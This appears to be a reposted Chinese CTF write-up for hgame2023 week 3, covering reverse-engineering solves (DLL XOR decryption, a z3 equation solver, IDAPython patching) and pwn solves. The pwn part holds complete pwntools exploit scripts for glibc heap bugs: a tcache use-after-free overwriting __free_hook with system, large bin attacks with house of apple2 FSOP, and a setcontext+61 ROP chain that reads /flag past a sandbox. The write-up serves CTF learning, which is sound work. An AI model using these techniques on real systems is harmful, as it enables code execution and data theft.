【wp】hgame2023 week3 RePwn

news2024/11/23 12:43:46

【wp】hgame2023 week3 Re&&Pwn

Re

cpp那个chacha20加密不会。

kunmusic

用dnspy逆dll,在Program的Main方法中找到了初始化的数据

image-20230124165619198

下断点执行,拷贝出data

image-20230124165658551

写一份脚本进行data与104的异或

def step_one():
    with open("./data", encoding="u8") as f:
        lines = f.readlines()

    data = []
    for line in lines:
        data.append(int(line.strip(), 16) ^ 104)

    data = bytes(data)
    with open("./new.dll", "wb") as f:
        f.write(data)

一开始不清楚这个data异或后的是啥,用chr转为字符串,发现了dos头,所以写入一个新的new.dll的文件,再用dnspy分析

在新的new.dll中,发现music方法中藏了flag

image-20230124165858028

// WinFormsLibrary1.Class1
// Token: 0x06000012 RID: 18 RVA: 0x0000218C File Offset: 0x0000038C
public void music(object sender, EventArgs e)
{
	if (this.num[0] + 52296 + this.num[1] - 26211 + this.num[2] - 11754 + (this.num[3] ^ 41236) + this.num[4] * 63747 + this.num[5] - 52714 + this.num[6] - 10512 + this.num[7] * 12972 + this.num[8] + 45505 + this.num[9] - 21713 + this.num[10] - 59122 + this.num[11] - 12840 + (this.num[12] ^ 21087) == 12702282 && this.num[0] - 25228 + (this.num[1] ^ 20699) + (this.num[2] ^ 8158) + this.num[3] - 65307 + this.num[4] * 30701 + this.num[5] * 47555 + this.num[6] - 2557 + (this.num[7] ^ 49055) + this.num[8] - 7992 + (this.num[9] ^ 57465) + (this.num[10] ^ 57426) + this.num[11] + 13299 + this.num[12] - 50966 == 9946829 && this.num[0] - 64801 + this.num[1] - 60698 + this.num[2] - 40853 + this.num[3] - 54907 + this.num[4] + 29882 + (this.num[5] ^ 13574) + (this.num[6] ^ 21310) + this.num[7] + 47366 + this.num[8] + 41784 + (this.num[9] ^ 53690) + this.num[10] * 58436 + this.num[11] * 15590 + this.num[12] + 58225 == 2372055 && this.num[0] + 61538 + this.num[1] - 17121 + this.num[2] - 58124 + this.num[3] + 8186 + this.num[4] + 21253 + this.num[5] - 38524 + this.num[6] - 48323 + this.num[7] - 20556 + this.num[8] * 56056 + this.num[9] + 18568 + this.num[10] + 12995 + (this.num[11] ^ 39260) + this.num[12] + 25329 == 6732474 && this.num[0] - 42567 + this.num[1] - 17743 + this.num[2] * 47827 + this.num[3] - 10246 + (this.num[4] ^ 16284) + this.num[5] + 39390 + this.num[6] * 11803 + this.num[7] * 60332 + (this.num[8] ^ 18491) + (this.num[9] ^ 4795) + this.num[10] - 25636 + this.num[11] - 16780 + this.num[12] - 62345 == 14020739 && this.num[0] - 10968 + this.num[1] - 31780 + (this.num[2] ^ 31857) + this.num[3] - 61983 + this.num[4] * 31048 + this.num[5] * 20189 + this.num[6] + 12337 + this.num[7] * 25945 + (this.num[8] ^ 7064) + this.num[9] - 25369 + this.num[10] - 54893 + this.num[11] * 59949 + (this.num[12] ^ 12441) == 14434062 && this.num[0] + 16689 + this.num[1] - 10279 + this.num[2] - 32918 + this.num[3] - 57155 + this.num[4] * 26571 + this.num[5] * 15086 + (this.num[6] ^ 22986) + (this.num[7] ^ 23349) + (this.num[8] ^ 16381) + (this.num[9] ^ 23173) + this.num[10] - 40224 + this.num[11] + 31751 + this.num[12] * 8421 == 7433598 && this.num[0] + 28740 + this.num[1] - 64696 + this.num[2] + 60470 + this.num[3] - 14752 + (this.num[4] ^ 1287) + (this.num[5] ^ 35272) + this.num[6] + 49467 + this.num[7] - 33788 + this.num[8] + 20606 + (this.num[9] ^ 44874) + this.num[10] * 19764 + this.num[11] + 48342 + this.num[12] * 56511 == 7989404 && (this.num[0] ^ 28978) + this.num[1] + 23120 + this.num[2] + 22802 + this.num[3] * 31533 + (this.num[4] ^ 39287) + this.num[5] - 48576 + (this.num[6] ^ 28542) + this.num[7] - 43265 + this.num[8] + 22365 + this.num[9] + 61108 + this.num[10] * 2823 + this.num[11] - 30343 + this.num[12] + 14780 == 3504803 && this.num[0] * 22466 + (this.num[1] ^ 55999) + this.num[2] - 53658 + (this.num[3] ^ 47160) + (this.num[4] ^ 12511) + this.num[5] * 59807 + this.num[6] + 46242 + this.num[7] + 3052 + (this.num[8] ^ 25279) + this.num[9] + 30202 + this.num[10] * 22698 + this.num[11] + 33480 + (this.num[12] ^ 16757) == 11003580 && this.num[0] * 57492 + (this.num[1] ^ 13421) + this.num[2] - 13941 + (this.num[3] ^ 48092) + this.num[4] * 38310 + this.num[5] + 9884 + this.num[6] - 45500 + this.num[7] - 19233 + this.num[8] + 58274 + this.num[9] + 36175 + (this.num[10] ^ 18568) + this.num[11] * 49694 + (this.num[12] ^ 9473) == 25546210 && this.num[0] - 23355 + this.num[1] * 50164 + (this.num[2] ^ 34618) + this.num[3] + 52703 + this.num[4] + 36245 + this.num[5] * 46648 + (this.num[6] ^ 4858) + (this.num[7] ^ 41846) + this.num[8] * 27122 + (this.num[9] ^ 42058) + this.num[10] * 15676 + this.num[11] - 31863 + this.num[12] + 62510 == 11333836 && this.num[0] * 30523 + (this.num[1] ^ 7990) + this.num[2] + 39058 + this.num[3] * 57549 + (this.num[4] ^ 53440) + this.num[5] * 4275 + this.num[6] - 48863 + (this.num[7] ^ 55436) + (this.num[8] ^ 2624) + (this.num[9] ^ 13652) + this.num[10] + 62231 + this.num[11] + 19456 + this.num[12] - 13195 == 13863722)
	{
		int[] array = new int[]
		{
			132,
			47,
			180,
			7,
			216,
			45,
			68,
			6,
			39,
			246,
			124,
			2,
			243,
			137,
			58,
			172,
			53,
			200,
			99,
			91,
			83,
			13,
			171,
			80,
			108,
			235,
			179,
			58,
			176,
			28,
			216,
			36,
			11,
			80,
			39,
			162,
			97,
			58,
			236,
			130,
			123,
			176,
			24,
			212,
			56,
			89,
			72
		};
		string text = "";
		for (int i = 0; i < array.Length; i++)
		{
			text += ((char)(array[i] ^ this.num[i % this.num.Length])).ToString();
		}
		new SoundPlayer(Resources.过年鸡).Play();
		MessageBox.Show(text);
	}
}

然后就是常规的z3求解方程了,跑了一会

from z3 import *

def step_one():
    with open("./data", encoding="u8") as f:
        lines = f.readlines()

    data = []
    for line in lines:
        data.append(int(line.strip(), 16) ^ 104)

    data = bytes(data)
    with open("./new", "wb") as f:
        f.write(data)

def stop_two():
    FLAG_LEN = 13
    flag = [BitVec(f"flag{i}", 32) for i in range(FLAG_LEN)]
    s = Solver()
    s.add(flag[0] + 52296 + flag[1] - 26211 + flag[2] - 11754 + (flag[3] ^ 41236) + flag[4] * 63747 + flag[5] - 52714 + flag[6] - 10512 + flag[7] * 12972 + flag[8] + 45505 + flag[9] - 21713 + flag[10] - 59122 + flag[11] - 12840 + (flag[12] ^ 21087) == 12702282)
    s.add(flag[0] - 25228 + (flag[1] ^ 20699) + (flag[2] ^ 8158) + flag[3] - 65307 + flag[4] * 30701 + flag[5] * 47555 + flag[6] - 2557 + (flag[7] ^ 49055) + flag[8] - 7992 + (flag[9] ^ 57465) + (flag[10] ^ 57426) + flag[11] + 13299 + flag[12] - 50966 == 9946829 ) 
    s.add(flag[0] - 64801 + flag[1] - 60698 + flag[2] - 40853 + flag[3] - 54907 + flag[4] + 29882 + (flag[5] ^ 13574) + (flag[6] ^ 21310) + flag[7] + 47366 + flag[8] + 41784 + (flag[9] ^ 53690) + flag[10] * 58436 + flag[11] * 15590 + flag[12] + 58225 == 2372055 ) 
    s.add(flag[0] + 61538 + flag[1] - 17121 + flag[2] - 58124 + flag[3] + 8186 + flag[4] + 21253 + flag[5] - 38524 + flag[6] - 48323 + flag[7] - 20556 + flag[8] * 56056 + flag[9] + 18568 + flag[10] + 12995 + (flag[11] ^ 39260) + flag[12] + 25329 == 6732474 ) 
    s.add(flag[0] - 42567 + flag[1] - 17743 + flag[2] * 47827 + flag[3] - 10246 + (flag[4] ^ 16284) + flag[5] + 39390 + flag[6] * 11803 + flag[7] * 60332 + (flag[8] ^ 18491) + (flag[9] ^ 4795) + flag[10] - 25636 + flag[11] - 16780 + flag[12] - 62345 == 14020739) 
    s.add(flag[0] - 10968 + flag[1] - 31780 + (flag[2] ^ 31857) + flag[3] - 61983 + flag[4] * 31048 + flag[5] * 20189 + flag[6] + 12337 + flag[7] * 25945 + (flag[8] ^ 7064) + flag[9] - 25369 + flag[10] - 54893 + flag[11] * 59949 + (flag[12] ^ 12441) == 14434062) 
    s.add(flag[0] + 16689 + flag[1] - 10279 + flag[2] - 32918 + flag[3] - 57155 + flag[4] * 26571 + flag[5] * 15086 + (flag[6] ^ 22986) + (flag[7] ^ 23349) + (flag[8] ^ 16381) + (flag[9] ^ 23173) + flag[10] - 40224 + flag[11] + 31751 + flag[12] * 8421 == 7433598 ) 
    s.add(flag[0] + 28740 + flag[1] - 64696 + flag[2] + 60470 + flag[3] - 14752 + (flag[4] ^ 1287) + (flag[5] ^ 35272) + flag[6] + 49467 + flag[7] - 33788 + flag[8] + 20606 + (flag[9] ^ 44874) + flag[10] * 19764 + flag[11] + 48342 + flag[12] * 56511 == 7989404 ) 
    s.add((flag[0] ^ 28978) + flag[1] + 23120 + flag[2] + 22802 + flag[3] * 31533 + (flag[4] ^ 39287) + flag[5] - 48576 + (flag[6] ^ 28542) + flag[7] - 43265 + flag[8] + 22365 + flag[9] + 61108 + flag[10] * 2823 + flag[11] - 30343 + flag[12] + 14780 == 3504803 ) 
    s.add(flag[0] * 22466 + (flag[1] ^ 55999) + flag[2] - 53658 + (flag[3] ^ 47160) + (flag[4] ^ 12511) + flag[5] * 59807 + flag[6] + 46242 + flag[7] + 3052 + (flag[8] ^ 25279) + flag[9] + 30202 + flag[10] * 22698 + flag[11] + 33480 + (flag[12] ^ 16757) == 11003580 ) 
    s.add(flag[0] * 57492 + (flag[1] ^ 13421) + flag[2] - 13941 + (flag[3] ^ 48092) + flag[4] * 38310 + flag[5] + 9884 + flag[6] - 45500 + flag[7] - 19233 + flag[8] + 58274 + flag[9] + 36175 + (flag[10] ^ 18568) + flag[11] * 49694 + (flag[12] ^ 9473) == 25546210 ) 
    s.add(flag[0] - 23355 + flag[1] * 50164 + (flag[2] ^ 34618) + flag[3] + 52703 + flag[4] + 36245 + flag[5] * 46648 + (flag[6] ^ 4858) + (flag[7] ^ 41846) + flag[8] * 27122 + (flag[9] ^ 42058) + flag[10] * 15676 + flag[11] - 31863 + flag[12] + 62510 == 11333836 ) 
    s.add(flag[0] * 30523 + (flag[1] ^ 7990) + flag[2] + 39058 + flag[3] * 57549 + (flag[4] ^ 53440) + flag[5] * 4275 + flag[6] - 48863 + (flag[7] ^ 55436) + (flag[8] ^ 2624) + (flag[9] ^ 13652) + flag[10] + 62231 + flag[11] + 19456 + flag[12] - 13195 == 13863722) 

    res = []
    if s.check() == sat:
        print("find!")
        m = s.model()
        for i in range(0, FLAG_LEN):
            res.append(int(f"{m[flag[i]]}"))
        print(res)
    else:
        print("no way")
    return res

res = [236, 72, 3820880085, 2147483754, 189, 86, 819593278, 53, 120, 1801978055, 15, 93, 133]
array = [
    132,
    47,
    180,
    7,
    216,
    45,
    68,
    6,
    39,
    246,
    124,
    2,
    243,
    137,
    58,
    172,
    53,
    200,
    99,
    91,
    83,
    13,
    171,
    80,
    108,
    235,
    179,
    58,
    176,
    28,
    216,
    36,
    11,
    80,
    39,
    162,
    97,
    58,
    236,
    130,
    123,
    176,
    24,
    212,
    56,
    89,
    72,
]
fin_flag = ""
for i in range(len(array)):
    fin_flag += chr((array[i] ^ res[i % len(res)]) & 0xff)

print(fin_flag)

image-20230124165951867

patchme

使用ida打开,发现在main函数之前执行了一份自解密算法

image-20230124170116555

写一份idapython的脚本进行异或操作

import idc

addr = 0x14C6
for i in range(961):
    idc.patch_byte(addr+i, idc.get_wide_byte(i+addr) ^ 0x66)

异或完之后,stack爆红,但是没关系,直接看汇编,发现改两个判断条件跳转到flag输出位置就行了

image-20230124170339822

这样就会跳转到loc_1648这个输出flag的函数

image-20230124170405740

之后在用idapython异或一次,保存patch然后运行就得到了flag

WindowsTerminal-202301240501632

Pwn

safe_note

2.32的uaf,fd指针被异或加密了,但是可以在第一次add后直接free,可以得到heap_base

泄露libc的方法有很多,可以申请到tcache管理块,然后用"\x07\x00"填满,之后free管理快就能泄露libc

或者把tacche填满,free一个chunk进入unsorted bin,之后就能泄露main_arena+96的地址

泄露完libc就可以改tcache的fd为free_hook,注意记得给fd进行异或加密。加密方式就是当前堆地址右移12位异或上想要申请到的地址。

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/01/23 20:04:51
# -----------------------------------

from pwntools import *

init("./vuln")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

if pwnio.ip:
    libc = ELF("./2.32-0ubuntu3.2_amd64/libc.so.6")

cmd = lambda idx: sla(">", str(idx))


def add(idx, size):
    cmd(1)
    sla("Index: ", str(idx))
    sla("Size: ", str(size))


def free(idx):
    cmd(2)
    sla("Index: ", str(idx))


def edit(idx, content):
    cmd(3)
    sla("Index: ", str(idx))
    sa("Content: ", content)


def show(idx):
    cmd(4)
    sla("Index: ", str(idx))


def pack(pos, ptr):
    return (pos >> 12) ^ ptr


add(15, 0xFF)
free(15)
show(15)

heap_base = leak(u64(ru("\n").ljust(8, b"\x00")) << 12, "heap_base")

for i in range(7):
    add(i, 0x80)

add(7, 0x80)
add(8, 0x10)

for i in range(7):
    free(i)

free(7)
edit(7, "a")
show(7)
libc.address = leak(l64() - 0x219C61 + 0x36000, "libc")
free_hook = libc.sym["__free_hook"]
system_addr = libc.sym["system"]
edit(7,b"\x00")


add(10, 0x20)
add(11, 0x20)

free(11)
free(10)
edit(10, p64(pack(heap_base+0x7a0, free_hook)))

add(12, 0x20)
edit(12,  b"/bin/sh\x00")
add(13, 0x20)
edit(13, p64(system_addr))

free(12)

# dbg()
ia()

large_note

很经典的large bin attack的例题。

这里我使用的是house of apple2的链子。

larger bin attack修改_IO_list_all的_chain为可控的堆地址,伪造_IO_2_1_stderr

然后就是执行system(" sh;")

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/01/23 22:23:48
# -----------------------------------

from pwntools import *

init("./vuln")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

cmd = lambda idx: sla(">", str(idx))


def add(idx, size=0x500):
    cmd(1)
    sla("Index: ", str(idx))
    sla("Size: ", str(size))


def free(idx):
    cmd(2)
    sla("Index: ", str(idx))


def edit(idx, content):
    cmd(3)
    sla("Index: ", str(idx))
    sa("Content: ", content)


def show(idx):
    cmd(4)
    sla("Index: ", str(idx))


def pack(pos, ptr):
    return (pos >> 12) ^ ptr


def build_fake_file(addr, vtable, _wide_data):
    # flag = 0xFBAD2887
    # fake_file = p64(flag)  # _flags
    # fake_file += p64(addr)  # _IO_read_ptr
    # 不用上面的flag和_IO_read_ptr是因为chunk里不可控上面两个字段
    fake_file = b""
    fake_file += p64(addr)  # _IO_read_end
    fake_file += p64(addr)  # _IO_read_base
    fake_file += p64(addr)  # _IO_write_base
    fake_file += p64(addr + 1)  # _IO_write_ptr
    fake_file += p64(addr)  # _IO_write_end
    fake_file += p64(addr)  # _IO_buf_base
    fake_file += p64(0)  # _IO_buf_end
    fake_file += p64(0)  # _IO_save_base
    fake_file += p64(0)  # _IO_backup_base
    fake_file += p64(0)  # _IO_save_end
    fake_file += p64(0)  # _markers
    fake_file += p64(0)  # _chain   could be a anathor file struct
    fake_file += p32(1)  # _fileno
    fake_file += p32(0)  # _flags2
    fake_file += p64(0)  # _old_offset
    fake_file += p16(0)  # _cur_column
    fake_file += p8(0)  # _vtable_offset
    fake_file += p8(0x10)  # _shortbuf
    fake_file += p32(0)
    fake_file += p64(0)  # _lock
    fake_file += p64(0)  # _offset
    fake_file += p64(0)  # _codecvt
    fake_file += p64(_wide_data)  # _wide_data
    fake_file += p64(0)  # _freeres_list
    fake_file += p64(0)  # _freeres_buf
    fake_file += p64(0)  # __pad5
    fake_file += p32(0)  # _mode
    fake_file += p32(0)  # unused2
    fake_file += p64(0) * 2  # unused2
    fake_file += p64(vtable)  # vtable
    return fake_file


"""
#! large bin leak heap address
#! large bin attack --> fake io --> house of apple2
#! exec system("  sh;")
"""

add(0, 0x508)  # fake_wide_data
add(1, 0x550)  # fake_chain
add(2)
add(3, 0x540)
add(4)

#! leak libc base
free(1)
edit(1, "a")
show(1)
fd_bk = leak(l64() - 0x61, "fd_bk")
libc.address = leak(fd_bk - 0x1E3C00, "libc")
edit(1, b"\x00")

#! to large bin
add(5, 0x600)  # fake_jump

#! large leak fd_next to get heap base
edit(1, b"a" * 15 + b"b")
show(1)
ru("b")
heap_base = leak(uu64(r(6)) - 0x7A0, "heap_base")
edit(1, p64(fd_bk) * 2)

#! free large_chunk2 into unsortedbin
free(3)

#! modify largebin[0]->bk_nextsize -> tagert_addr-0x20
_IO_list_all_chain = libc.address + 0x1E4648
info(_IO_list_all_chain, "_IO_list_all_chain")
edit(1, p64(fd_bk) * 2 + p64(heap_base + 0x7A0) + p64(_IO_list_all_chain - 0x20))
info(heap_base + 0x7A0, "fake_IO")
#! large bin attack : chain -> heap_base + 0x7a0
add(6)

#! edit _flags -> "  sh;"
edit(0, b"\x00" * 0x500 + b"  sh;")

#! bulid fake_wide_data
fake_wide_data = heap_base + 0x2A0
info(fake_wide_data, "fake_wide_data")

#! edit vtable -> _IO_wfile_jumps
#! edit fp -> _wide_data = fake_wide_data
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
edit(1, build_fake_file(0, _IO_wfile_jumps, fake_wide_data))

#! edit fake_wide_data -> _IO_write_base = 0
#! edit fake_wide_data -> _IO_buf_base = 0
#! edit fake_wide_data -> _wide_vtable = fake_jump
#! edit fake_jump -> doallocate = system
fake_jump = heap_base + 0x1C70
_wide_data = {0x18: 0, 0x30: 0, 0xE0: fake_jump}
edit(0, flat(_wide_data))
edit(5, p64(libc.sym["system"]) * 12)

cmd(5)

ia()

后面思考了一下发现其实可以使用更简单的打_free_hook的做法

  1. large bin attack修改mp_.tcache_bins成一个大数
  2. tcache的基本做法,修改fd为_free_hook^heap_addr
  3. 该_free_hook为system
  4. free(“/bin/sh\x00”)
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp_mp_tcache_bins.py
# @Author  :  woodwhale
# @Time    :  2023/01/25 11:01:08
# -----------------------------------

from pwntools import *

init("./vuln")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

cmd = lambda idx: sla(">", str(idx))


def add(idx, size=0x500):
    cmd(1)
    sla("Index: ", str(idx))
    sla("Size: ", str(size))


def free(idx):
    cmd(2)
    sla("Index: ", str(idx))


def edit(idx, content):
    cmd(3)
    sla("Index: ", str(idx))
    sa("Content: ", content)


def show(idx):
    cmd(4)
    sla("Index: ", str(idx))


def pack(pos, ptr):
    return (pos >> 12) ^ ptr


#! show libc
add(0)
add(1)
free(0)
edit(0, "a")
show(0)
libc.address = leak(l64() - (0x00007FCA26CFDC61 - 0x7FCA26B1A000), "libc.address")
edit(0, "\x00")

#! get mp_ and tcache_bins address
mp_ = leak(libc.address + (0x7FD42D14C280 - 0x7FD42CF69000), "mp_")
tcache_bins = mp_ + 80

#! large bin attact tcache_bins
add(2, 0x610)
add(3, 0x510)
add(4, 0x600)
add(5, 0x510)

free(2)
#* push 2 from unsorted bin to large bin
add(6, 0x700)

#* free 4 to unsorted bin
free(4)

#* edit 2 bk_nextsize to target address
edit(2, b"a" * 15 + b"b")
show(2)
ru("b")
heap_base = leak(uu64(r(6))-0xcb0, "heap_base")
edit(2, p64(libc.address + 0x1E4070) * 2 + p64(heap_base+0xcb0) + p64(tcache_bins - 0x20))

#* 触发 large bin attack
add(7)

#* tcache
free(5)

free(3)

chunk_3_addr = heap_base + 0x12d0
edit(3, p64(pack(chunk_3_addr, libc.sym["__free_hook"])))

add(8, 0x510)
add(9, 0x510)
edit(9, p64(libc.sym["system"]))

edit(8, "/bin/sh\x00")

free(8)


ia()

note_context

和上一题一样,就是加了个沙箱,ban了execve

使用setcontext+61的链子进行orw,栈迁移到可控的堆地址上就可以了

同样使用house of apple2,当然也可以使用修改tcache_bins的做法

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/01/24 11:17:12
# -----------------------------------

from pwntools import *

init("./vuln")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc


cmd = lambda idx: sla(">", str(idx))


def add(idx, size=0x500):
    cmd(1)
    sla("Index: ", str(idx))
    sla("Size: ", str(size))


def free(idx):
    cmd(2)
    sla("Index: ", str(idx))


def edit(idx, content):
    cmd(3)
    sla("Index: ", str(idx))
    sa("Content: ", content)


def show(idx):
    cmd(4)
    sla("Index: ", str(idx))


def pack(pos, ptr):
    return (pos >> 12) ^ ptr


def build_fake_file(addr, vtable, _wide_data):
    # flag = 0xFBAD2887
    # fake_file = p64(flag)  # _flags
    # fake_file += p64(addr)  # _IO_read_ptr
    # 不用上面的flag和_IO_read_ptr是因为chunk里不可控上面两个字段
    fake_file = b""
    fake_file += p64(addr)  # _IO_read_end
    fake_file += p64(addr)  # _IO_read_base
    fake_file += p64(addr)  # _IO_write_base
    fake_file += p64(addr + 1)  # _IO_write_ptr
    fake_file += p64(addr)  # _IO_write_end
    fake_file += p64(addr)  # _IO_buf_base
    fake_file += p64(0)  # _IO_buf_end
    fake_file += p64(0)  # _IO_save_base
    fake_file += p64(0)  # _IO_backup_base
    fake_file += p64(0)  # _IO_save_end
    fake_file += p64(0)  # _markers
    fake_file += p64(0)  # _chain   could be a anathor file struct
    fake_file += p32(1)  # _fileno
    fake_file += p32(0)  # _flags2
    fake_file += p64(0)  # _old_offset
    fake_file += p16(0)  # _cur_column
    fake_file += p8(0)  # _vtable_offset
    fake_file += p8(0x10)  # _shortbuf
    fake_file += p32(0)
    fake_file += p64(0)  # _lock
    fake_file += p64(0)  # _offset
    fake_file += p64(0)  # _codecvt
    fake_file += p64(_wide_data)  # _wide_data
    fake_file += p64(0)  # _freeres_list
    fake_file += p64(0)  # _freeres_buf
    fake_file += p64(0)  # __pad5
    fake_file += p32(0)  # _mode
    fake_file += p32(0)  # unused2
    fake_file += p64(0) * 2  # unused2
    fake_file += p64(vtable)  # vtable
    return fake_file


"""
#! large bin leak heap address
#! large bin attack --> fake io --> house of apple2
#! exec setcontext+61
"""

add(0, 0x508)  # fake_wide_data
add(1, 0x550)  # fake_chain
add(2)
add(3, 0x540)
add(4)

#! leak libc base
free(1)
edit(1, "a")
show(1)
fd_bk = leak(l64() - 0x61, "fd_bk")
libc.address = leak(fd_bk - 0x1E3C00, "libc")
edit(1, b"\x00")

#! to large bin
add(5, 0x600)  # fake_jump

#! large leak fd_next to get heap base
edit(1, b"a" * 15 + b"b")
show(1)
ru("b")
heap_base = leak(uu64(r(6)) - 0x7A0, "heap_base")
edit(1, p64(fd_bk) * 2)

#! free large_chunk2 into unsortedbin
free(3)

#! modify largebin[0]->bk_nextsize -> tagert_addr-0x20
_IO_list_all_chain = libc.address + 0x1E4648
info(_IO_list_all_chain, "_IO_list_all_chain")
edit(1, p64(fd_bk) * 2 + p64(heap_base + 0x7A0) + p64(_IO_list_all_chain - 0x20))
info(heap_base + 0x7A0, "fake_IO")
#! large bin attack : chain -> heap_base + 0x7a0
add(6)

#! edit _flags -> "  sh;"
edit(0, b"\x00" * 0x500 + b"  sh;")

#! bulid fake_wide_data
fake_wide_data = heap_base + 0x2A0
info(fake_wide_data, "fake_wide_data")

#! edit vtable -> _IO_wfile_jumps
#! edit fp -> _wide_data = fake_wide_data
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
edit(1, build_fake_file(0, _IO_wfile_jumps, fake_wide_data))

#! edit fake_wide_data -> _IO_write_base = 0
#! edit fake_wide_data -> _IO_buf_base = 0
#! edit fake_wide_data -> _wide_vtable = fake_jump
#! edit fake_jump -> doallocate = system
ret_addr = libc.address + 0x0000000000026699
pop_rdi = libc.address + 0x000000000002858F
pop_rsi = libc.address + 0x000000000002AC3F
pop_rdx_rbx = libc.address + 0x00000000001597D6
flag_addr = heap_base + 0x2A0
open_addr = libc.sym["open"]
read_addr = libc.sym["read"]
puts_addr = libc.sym["puts"]

fake_jump = heap_base + 0x1C70
_wide_data = {
    0: b"/flag\x00",
    0x18: 0,
    0x30: 0,
    0xA0: fake_jump + 8 * 14,  # orw addr
    0xA8: ret_addr,  # ret addr
    0xE0: fake_jump,
}
edit(0, flat(_wide_data))
setcontext_61 = libc.sym["setcontext"] + 61
edit(
    5,
    p64(setcontext_61) * 12
    + flat(  # orw
        pop_rdi,
        flag_addr,
        pop_rsi,
        0,
        open_addr,
        pop_rdi,
        3,
        pop_rsi,
        flag_addr,
        pop_rdx_rbx,
        0x100,
        0,
        read_addr,
        pop_rdi,
        flag_addr,
        puts_addr,
    ),
)


cmd(5)  # exit
"""
_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)
                setcontext+61
                    orw
"""

ia()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/190577.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

发明专利申请流程资料

​发明专利申请流程 依据专利法&#xff0c;发明专利申请的审批程序分为&#xff1a; 1、受理阶段 2、初步审查阶段 3、公布阶段 4、实质审查阶段 5、授权阶段 发明专利申请所需资料 1、发明专利请求书。 2、说明书。 3、权利要求书。 4、说明书摘要。 5、有附图的可同时提交说…

Actionchains在selenium中的使用方法

今天分享一下selenium最常用的ActionChains的使用&#xff0c;以及碰到的一些问题的解决。 1.selenium解决鼠标悬停的问题 今天抓取某个平台的数据时发现有的数据需要鼠标悬停在上面才能加载出来&#xff0c;于是就想到了使用ActionChains解决悬停的问题&#xff0c;下面是思…

计算机组成原理 | 第九章:控制单元的功能 | 微操作命令 | 时钟周期

文章目录&#x1f4da;微操作命令的分析&#x1f407;取指周期&#x1f407;间址周期&#x1f407;执行周期&#x1f955;非访存指令&#x1f955;访存指令⭐️&#x1f955;转移指令&#x1f407;中断周期&#x1f4da;控制单元的功能&#x1f407;控制单元的外特性&#x1f9…

分享微信报名小程序怎么做_瑜伽健身房培训报名小程序开发介绍

活动报名收费签到小程序&#xff0c;支持个人免费组织报名收款和现场签到。随时随地管理活动、发布活动、查看收入明细提现资金更效率。 活动报名收费签到小程序主要功能有&#xff1a; 在线报名&#xff1a;通过二维码或链接分享活动入口&#xff0c;亦可轻松放进入公众号。 …

客户端通过SSH连接Linux服务器超时问题解决方法汇总

&#x1f41a;作者简介&#xff1a;花神庙码农&#xff08;专注于Linux、WLAN、TCP/IP、Python等技术方向&#xff09;&#x1f433;博客主页&#xff1a;花神庙码农 &#xff0c;地址&#xff1a;https://blog.csdn.net/qxhgd&#x1f310;系列专栏&#xff1a;善假于物&#…

Windows无法进入睡眠模式怎么办?

睡眠模式是电脑的一种低功耗模式&#xff0c;能减少耗电。当你要离开电脑一阵&#xff0c;但又不想关闭文档和程序&#xff0c;就可以选择让电脑暂时休眠。 如果你的电脑无法进入睡眠模式&#xff0c;可以尝试下面几种方法&#xff1a; 更换电源选项检查电源命令使用电源疑难…

开源机器学习软件对AI的发展意味着什么?

作者&#xff5c; Max Langenkamp OneFlow编译 翻译&#xff5c;徐佳渝、杨婷 为什么要关注机器学习开源软件&#xff08;MLOSS&#xff09;&#xff1f;在我们看来&#xff0c;MLOSS对AI发展来说举足轻重&#xff0c;但未获重视。 机器学习开源软件是开源许可下发布的专为机器…

“易”起涨知识|人人都在追捧的低代码开发,到底有什么优势?

低代码的根本价值在于&#xff1a;劳动力转移。运营、产品能 cover 部分开发工作&#xff0c;实现研发流左移&#xff0c;敏捷迭代。 劳动力转移只是表面&#xff0c;低代码价值还是归属于自动化了信息传递。 产品用文字和交互图&#xff08;PRD&#xff09;表达了一遍完整的产…

List、Set、Map的区别

List、Set、Map的区别 ​ &#xff08;图一&#xff09; 1.面试题&#xff1a;你说说collection里面有什么子类。 &#xff08;其实面试的时候听到这个问题的时候&#xff0c;你要知道&#xff0c;面试官是想考察List&#xff0c;Set&#xff09; 正如图一&#xff0c;lis…

一文深入分析arm64 cache机制

说明&#xff1a; Kernel版本&#xff1a;4.14ARM64处理器&#xff0c;Contex-A53&#xff0c;双核使用工具&#xff1a;Source Insight 3.5&#xff0c; Visio 1. 概述 先来看一下经典的存储器层次结构图&#xff1a; 不同存储器技术的访问时间差异很大&#xff0c;CPU和主存…

2023年深圳前端培训机构排名,评价较高的机构分享

深圳前端培训机构排行榜的前三名是哪家呢&#xff1f;不少学生在选择学习前端开发的时候&#xff0c;都会通过网络来找一些相关的排行&#xff0c;评判哪家机构的教学比较好&#xff0c;今天小编就来针对这类相关的培训为大家分享一些内容&#xff0c;帮助大家选择更适合自己的…

RabbitMQ面试知识点总结

1.消息模式 P2P Worker Pub/Sub(exchange 4种) 四种交换机&#xff1a;direct/topic/headers/fanout&#xff0c;默认交换机是direct&#xff0c;其中Publish/Subscribe&#xff0c;Routing&#xff0c;Topics三种模式可以统一归为Exchange模式&#xff0c;只是创建时交换机的…

【LeetCode每日一题】【2023/2/1】2325. 解密消息

